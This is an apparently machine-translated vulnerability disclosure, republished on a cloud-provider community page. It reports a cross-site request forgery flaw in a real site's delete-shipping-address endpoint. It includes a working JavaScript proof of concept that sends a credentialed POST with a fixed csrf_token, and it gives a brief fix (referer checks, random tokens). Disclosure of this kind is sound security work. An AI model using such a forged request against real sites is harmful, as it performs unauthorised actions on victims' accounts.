The csrf exists in the shipping address deleted from the network.

Source: Internet
Author: User

The csrf exists in the shipping address deleted from the network.

Detailed description:

Csrf exists in the shipping address. troubleshoot the problems in other places one by one.

Delete the shipping address and capture packets;

We can see that the message body has the csrf_token parameter in China, but it is actually a false parameter because it is a fixed value and the address id is purely numeric self-added. Therefore, there is no unpredictable parameter and a malicious link is forged. The main code is as follows:

Code Region
xmlhttp.open("POST", "http://i.yifutu.com/Ajax/space/ManagerAjax.ashx", true);xmlhttp.withCredentials = true;xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.send("ajaxType=8&id=142623&csrf_token=7068c3f1-ffd9-4215-bd29-a559011b4c67");

Access this link:


Refresh. The address has been deleted successfully. Comparison chart;


 

Proof of vulnerability:

Same as above

Solution:

Verify referer

Random token.


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.